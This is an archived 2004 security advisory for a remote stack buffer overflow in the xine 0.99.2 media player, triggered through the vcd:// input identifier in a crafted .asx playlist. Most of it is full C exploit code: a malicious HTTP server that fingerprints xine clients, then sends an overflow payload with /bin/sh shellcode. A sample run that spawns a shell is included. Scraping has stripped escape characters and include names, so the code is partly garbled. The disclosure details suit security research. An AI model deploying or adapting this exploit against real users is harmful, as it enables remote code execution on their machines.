Open Security Media Archive

========================================= xine 0.99.2 Remote Stack Overflow Exploit ========================================= /* ***************************************************************************************************************** $ An open security advisory #6 - Xine vcd MRL input identifier management overflow ***************************************************************************************************************** 1: Bug Researcher: c0ntex[at]open-security.org 2: Bug Released: July 28th 2004 3: Bug Impact Rate: Medium / Hi 4: Bug Scope Rate: Remote / Local ***************************************************************************************************************** $ This advisory and/or proof of concept code must not be used for commercial gain. ***************************************************************************************************************** Xine - A free video player http://xinehq.de "xine is a free multimedia player. It plays back CDs, DVDs, and VCDs. It also decodes multimedia files like AVI, MOV, WMV, and MP3 from local disk drives, and displays multimedia streamed over the Internet. It interprets many of the most common multimedia formats available - and some of the most uncommon formats, too." Part 2 in the Media Mayhem saga, a name that was decided as being aptly fitting for the "Media Player" security audit project that the Open Security Group website started at the end of May. This project continues finding remote exploits in popular media players for Windows and Linux / UNIX derived systems. Like the excellent Mplayer, Xine is a superb free media player for Linux. Sadly there is a generic stack based buffer overflow in all versions of Xine-lib, including Xine-lib-rc5 that allows for local and remote malicious code execution. By overflowing the vcd:// input source identifier buffer, it is possible to modify the instruction pointer with a value that a malicious attacker can control. The issue can be replicated in a remote context by embedding the input source idientifier within a playlist file, such as an asx. When a user plays the file, this stack overflow will occur, exploit code can then be executed with the rights of the user running Xine. The problem slightly increases due to a usability feature. It does not have to be an asx extension for exploitation to succeed as Xine will try to be clever and play any media type found, providing it's valid. This still means the attack vector MUST include the .asx input identifier but it means you can not even trust URL's for .mp3, .mpeg, .mpg or .avi media. As long as Xine finds a valid media header, it's happy to change the demuxer reference and play the found media. In this case it's a playlist file, ".asx", though others should work. Any of the following demuxors will work when running against the attached POC server: xine --no-splash http://sunscreen/opensecurity.asx xine --no-splash http://sunscreen/opensecurity.mp3 xine --no-splash http://sunscreen/opensecurity.mpg xine --no-splash http://sunscreen/opensecurity.mpeg xine --no-splash http://sunscreen/opensecurity.wma xine --no-splash http://sunscreen/opensecurity.avi xine --no-splash http://sunscreen/blah.blah xine --no-splash http://sunscreen/ There are some tricks that may have to be pulled to allow for successful code execution to work, primarily due to some memory corruption that happens and opcode destruction. However it is easily defeated by either jmp'ing over the corrupt few bytes or by placing the shellcode into the buffer at some known good location. An example malicious .asx file: sunscreen$ cat open-security.asx Open Security Media Archive Brought to you by c0ntex[at]open-security.org SongList: Track 1 - Open Security Rock(s) -> SOAD - Chop Suey Track 2 - Open Security Rock(s) -> Media Mayhem Militia System Of A Down - Chop Suey c0ntex[at]open-security.org ?004 All your media are belong to us! c0ntex[at]open-security.org ?004 sunscreen$ --- Example POC run: sunscreen$ gcc -o xinesmine xinesmine.c -lsocket -lnsl sunscreen$ ./xinesmine -a 0 -p 80 ** Xines_Mine - Remote proof of concept example ** [-] Uses .asx header reference to make Xine think it has valid [-] reference file, then a crafted package is sent to overflow [-] the vulnerable client && prove remote exploit concept. [-] c0ntex[at]open-security.org {} http://www.open-security.org -> Listening for a connection on port 80 [[email protected] xine]$ ./xine --no-splash http://sunscreen/opensecurity.asx This is xine (X11 gui) - a free video player v0.99.2. (c) 2000-2004 The xine Team. Playlist file (http://sunscreen/opensecurity.asx) is invalid. WARN: could not retrieve file info for `image.nrg': No such file or directory WARN: init failed WARN: open( 1?Ph//shh/bin??PS??1?: File name too long WARN: could not retrieve file info for ` 1?Ph//shh/bin??PS??1?: File name too long WARN: init failed bash-2.05$ Due to the many vulnerabilities being discovered in media players it is advised not to play any form of music without first verifying its integrity. It would be worth noting that P2P networks that are currently sharing music, videos and films tend to be illegal media and as such void any integrity anyway, I advise highly to stay clear from IRC and P2P warez. --- CVS log which details the bug perfectly can be found here: -> http://sourceforge.net/mailarchive/forum.php?thread_id=5143955&forum_id=11923 Get the latest CVS of Xine-lib from here: -> http://xinehq.de/index.php/releases Get the Xine (XSA) advisory from here: -> http://xinehq.de/index.php/security Get this original advisory from here: -> http://www.open-security.org/advisories/advisories.html --- Xine bug discovered 22nd May 2004 Xine bug research completed 24th May 2004 Xine developers contacted 11th July 2004 Xine bug public release 8th August 2004 cheers c0ntex[at]open-security.org http://www.open-security.org */ #include #include #include #include #include #include #include #include #include #ifdef linux #include #endif #define SUCCESS0 #define FAILURE1 #define BUFFER1044 #define CDATA150 #define JMP200 #define THREAT"xine/1-rc5" #define XPLOIT_OS Redhat9 #define example(OhNoo) fprintf(stderr, "Usage: ./xines_mine -a -p nn", OhNoo); void die(char * errtrap); void banner(void); int prepsock(int align_stack, int port); int pkg_send(int clisock_fd, int align_stack, char * pload, char * payload); int main(int argc, char ** argv); static char * http[] = { "HTTP/1.0 200 OKrn", "Date: Thu, 23 May 2004 12:52:15 GMTrn", "Server: Xines_Mine Server(Linux)rn", "MIME-version: 1.0rn", "Content-Type: audio/x-mpegurlrn", "Content-Length: 2000rn", "Connection: closern", "rn" }; static char * vcdmuxor[] = { "rn", "Xines_Minern", " c0ntex[at]open-security.org www.open-security.orgrn", "rn", "rn", "rn", "rn", "rn" }; static char opcode[] = "x31xc0x31xdbx50x68x2fx2fx73x68x68x2fx62" "x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcd" "x80x31xc0x31xdbxfexc0xcdx80"; void die(char * errtrap) { perror(errtrap); _exit(FAILURE); //exit(1); } void banner(void) { fprintf(stderr, "n ** Xines_Mine - Remote proof of concept example **nn"); fprintf(stderr, "[-] Uses .asx header reference to make Xine think it has validn"); fprintf(stderr, "[-] reference file, then a crafted package is sent to overflown"); fprintf(stderr, "[-] the vulnerable client && prove remote exploit concept.n"); fprintf(stderr, "[-] c0ntex[at]open-security.org {} http://www.open-security.org nn"); } int prepsock(int align_stack, int port) { unsigned int cl_buf, recv_chk, reuse = 1; unsigned int clisock_fd; signed int sock_fd; static char chk_vuln[CDATA]; static char payload[BUFFER]; struct sockaddr_in victimised, xine; char *pload = (char *) &opcode; ((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) ? die("Could not create socket") : (setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, &reuse, sizeof(int)) == -1) ? die("Could not re-use socket") : memset(&xine, 0, sizeof(xine)); xine.sin_family = AF_INET; xine.sin_port = htons(port); xine.sin_addr.s_addr = htonl(INADDR_ANY); if(bind(sock_fd, (struct sockaddr *)&xine, sizeof(struct sockaddr)) == -1) { close(sock_fd); die("Could not bind socket"); } if(listen(sock_fd, 0) == -1) { close(sock_fd); die("Could not listen on socket"); } printf(" -> Listening for a connection on port %dn", port); cl_buf = sizeof(victimised); clisock_fd = accept(sock_fd, (struct sockaddr *)&victimised, &cl_buf); if(!clisock_fd) { die("Could not accept connectionn"); } if(!close(sock_fd)) { fprintf(stderr, "Could not close socketn"); } fprintf(stderr, " -> Action: Attaching from host [%s]n", inet_ntoa(victimised.sin_addr)); fprintf(stderr, " -> Using align [%d] and port [%d]n", align_stack, port); //memset(chk_vuln, 0, CDATA); memset(chk_vuln, 0, sizeof(chk_vuln)); recv_chk = recv(clisock_fd, chk_vuln, sizeof(chk_vuln), 0); chk_vuln[recv_chk+1] = ''; if((recv_chk == -1) || (recv_chk == 0)) { fprintf(stderr, "Could not receive data from clientn"); } if(strstr(chk_vuln, THREAT)) { fprintf(stderr, " -> Detected vulnerable Xine versionn"); }else{ fprintf(stderr, " -> Detected a non-Xine connection, end.n"); close(clisock_fd); die("Ending connection, not a Xine clientn"); } if(pkg_send(clisock_fd, align_stack, pload, payload) == 1) { fprintf(stderr, "Could not send packagen"); close(clisock_fd); die("Could not send package!n"); } if(close(clisock_fd) != 0) { fprintf(stderr, "Could not close socketn"); } return clisock_fd; //return SUCCESS; } int pkg_send(int clisock_fd, int align_stack, char * pload, char * payload) { unsigned int i = 0; memset(payload, 0, BUFFER); for(i = (BUFFER - JMP + align_stack); i < BUFFER; i += 4) { payload = 0xbc; payload[i+1] = 0xe7; payload[i+2] = 0x7f; payload[i+3] = 0xbf; } for (i = 0; i < (BUFFER - 33 - 20); i += 2) {//7 ) { payload = 0x4d; payload[i+1] = 0x45; //payload[i+1] = 0x63; //payload[i+1] = 0x30; //payload[i+1] = 0x6e; //payload[i+1] = 0x74; //payload[i+1] = 0x65; //payload[i+1] = 0x78; //payload[i+1] = 0x90; } memcpy(payload + i, pload, strlen(pload)); payload[1045] = 0x00; fprintf(stderr, " -> Payload size to send is [%4d]n", strlen(payload)); fprintf(stderr, " -> Sending evil payload to our clientn"); fflush(stderr); for (i = 0; i < 8; i++) if(send(clisock_fd, http, strlen(http), 0) == -1) { close(clisock_fd); die("Could not send HTTP header"); }fprintf(stderr, "t- Sending valid HTTP header..n"); sleep(1); for (i = 0; i < 5; i++) if(send(clisock_fd, vcdmuxor, strlen(vcdmuxor), 0) == -1) { close(clisock_fd); die("Could not send asx header"); }fprintf(stderr, "t- Sending starter asx header..n"); sleep(1); if(send(clisock_fd, payload, strlen(payload), 0) == -1) { close(clisock_fd); die("Could not send payload"); }fprintf(stderr, "t- Sending payload package..n"); sleep(1); for (i = 5; i < 9; i++) if(send(clisock_fd, vcdmuxor, strlen(vcdmuxor), 0) == -1) { close(clisock_fd); die("Could not send asx header"); }fprintf(stderr, "t- Sending cleanup asx header..n"); return EXIT_SUCCESS; } int main(int argc, char ** argv) { unsigned int align_stack = 0, port = 80; unsigned int opts; static char * exploit = NULL; if(argc < 2) { goto jumpout; }banner(); while((opts = getopt(argc, argv, "a:p:")) != -1) { switch(opts) { case 'a': align_stack = atoi(optarg); if((align_stack < 0) || (align_stack > 3)) { goto jumpout; } break; case 'p': port = atoi(optarg); if((port < 0) || (port > 65535)) { goto jumpout; } break; default: goto jumpout; break; } } if(prepsock(align_stack, port) == -1) { fprintf(stderr, "Errorn"); _exit(FAILURE); } fprintf(stderr, " -> Test completenn"); return EXIT_SUCCESS; jumpout: banner(); example(exploit); return EXIT_FAILURE; } # 0day.today [2018-03-28] #

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